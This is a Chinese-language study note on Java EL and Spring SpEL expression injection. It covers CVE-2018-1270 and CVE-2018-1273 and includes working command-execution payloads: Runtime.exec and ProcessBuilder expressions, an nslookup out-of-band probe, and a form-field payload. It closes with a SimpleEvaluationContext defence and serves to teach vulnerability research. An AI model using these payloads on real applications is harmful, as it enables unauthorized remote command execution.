参考文献:
EL语法介绍:https://www.cnblogs.com/czs1982/p/3966748.html
SpEl:http://rui0.cn/archives/1043
CVE-2018-1270:https://github.com/CaledoniaProject/CVE-2018-1270
vulhub:https://github.com/vulhub
EL:
全名为Expression Language。EL主要作用:获取数据,执行运算,获取web开发常用对象,调用Java方法。
语法:
${表达式}
举例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15${userinfo.id}或${userinfo[id]}  #访问userinfo的id属性。.和[]用于访问数据,二者等价。
${userinfo.[user-name]}  #当属性名含有特殊符号时,就只能使用[],而不能${userinfo.user-name}
${arrBook[0]}  #(假定arrBook为数组对象),访问request范围中的数组arrBook中的第一个元素
${goodsList[0]}  #(假定goodsList为List对象),访问request范围中的goodsList的第一个元素
${1+2}        #+无法实现两个字符串的拼接,只能做算术运算。
${empty user1}    #user1==null或者user1==""的话,都会返回true。
${sessionScope.username}  #取出Session范围的username 变量
<% Cookie cookie = new Cookie("user","uuu");   #使用response对象设置一个请求有效地cookie对象。
   response.addCookie(cookie);      %>
${cookie.user.value}                         #再使用EL获取该cookie对象的值
${pageContext} #对应于JSP页面中的pageContext对象(取的是pageContext对象)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}   #获取web路径
${applicationScope} #获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())}  #执行命令
SpEL:
Spring 表达式语言(简称SpEL):是一个支持运行时查询和操作对象图的强大的表达式语言。通过 SpEL 可以实现:通过 bean 的 id 对 bean 进行引用,调用方式以及引用对象中的属性,计算表达式的值,正则表达式的匹配。
语法:
#{...} 
举例:1
2
3
4
5
6
7
8
9
10
11
12#{car}  #引用其他对象
#{car.brand}  #引用其他对象的属性
#{car.toString()} #调用其它方法 , 还可以链式操作
#{T(java.lang.Math)} #使用Java的Math类
T(java.lang.Math).PI    #将PI值装配到bean属性中
T(java.lang.Math).random()  #计算得到一个0到1之间的随机数
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream()) #输出点回显
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()
用法
Class expressions
SpEL中可以使用特定的Java类型,T()用来访问Java类型中的静态属性或静态方法。()需要包含类名的全限定名(包名加上类名)。但是,SpEL内置了java.lang包下的类声明(例如java.lang.String可以通过T(String)访问)。通过T() 调用一个类的静态方法,将返回一个 Class Object,然后再调用相应的方法或属性。
- 需导入的jar包

 - 漏洞代码
1
2
3ExpressionParser parser = new SpelExpressionParser(); //ExpressionParser解析表达式字符串
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");//Expression表达以前定义的表达式字符串
Object value = exp.getValue(); 

Variables
变量通过EvaluationContext接口的setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;还允许引用根对象及当前上下文对象,使用#root引用根对象,使用#this引用当前上下文对象。1
2
3
4
5
6
7
8
9ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("abc");
context.setVariable("variable", "xyz");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);    //xyz		 
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);   //abc
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);   //abc
漏洞成因
在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
- EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口
1
2* SimpleEvaluationContext:针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。
* StandardEvaluationContext: 公开全套SpEL语言功能和配置选项。可以使用它来指定默认的根对象并配置每个可用的评估相关策略。 
两个相关的cve(直接用的大佬的vulhub里的环境。)
CVE-2018-1270
1  | Spring框架版本5.0-5.0.4,4.3-4.3.15  | 

CVE-2018-1273
1  | Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)  | 
Payload1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

防御
使用SimpleEvaluationContext代替StandardEvaluationContext
